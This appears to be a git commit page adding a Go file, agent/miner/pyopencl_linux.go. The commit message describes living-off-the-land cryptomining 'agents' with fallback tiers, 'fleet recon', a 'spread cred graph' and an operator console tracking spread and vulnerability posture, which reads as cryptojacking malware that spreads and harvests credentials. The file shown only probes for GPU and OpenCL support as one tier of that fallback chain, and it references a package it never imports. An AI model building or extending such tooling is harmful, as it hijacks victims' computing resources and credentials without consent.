Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
48
agent/miner/pyopencl_linux.go
Normal file
48
agent/miner/pyopencl_linux.go
Normal file
@@ -0,0 +1,48 @@
|
||||
//go:build linux
|
||||
|
||||
package miner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DetectCUDA reports NVIDIA CUDA via nvidia-smi.
|
||||
func DetectCUDA() bool {
|
||||
out, err := exec.Command("nvidia-smi", "-L").CombinedOutput()
|
||||
return err == nil && strings.TrimSpace(string(out)) != ""
|
||||
}
|
||||
|
||||
// DetectPyOpenCL reports python3 + PyOpenCL import success.
|
||||
func DetectPyOpenCL() bool {
|
||||
err := exec.Command("python3", "-c", "import pyopencl").Run()
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// StartPyOpenCLTier attempts a one-shot OpenCL probe via python3 -c (no external miner exe).
|
||||
// Returns error when PyOpenCL is absent or the probe fails — chain advances to stratum_direct.
|
||||
func StartPyOpenCLTier(cfg config.RuntimeConfig) error {
|
||||
if !DetectPyOpenCL() {
|
||||
return fmt.Errorf("python3 pyopencl not available")
|
||||
}
|
||||
script := `
|
||||
import pyopencl as cl
|
||||
platforms = cl.get_platforms()
|
||||
if not platforms:
|
||||
raise SystemExit('no opencl platforms')
|
||||
devices = platforms[0].get_devices()
|
||||
if not devices:
|
||||
raise SystemExit('no opencl devices')
|
||||
print('pyopencl_ok')
|
||||
`
|
||||
out, err := exec.Command("python3", "-c", script).CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("pyopencl probe: %v (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
if !strings.Contains(string(out), "pyopencl_ok") {
|
||||
return fmt.Errorf("pyopencl probe unexpected output")
|
||||
}
|
||||
_ = cfg
|
||||
return nil
|
||||
}
|
||||
Reference in New Issue
Block a user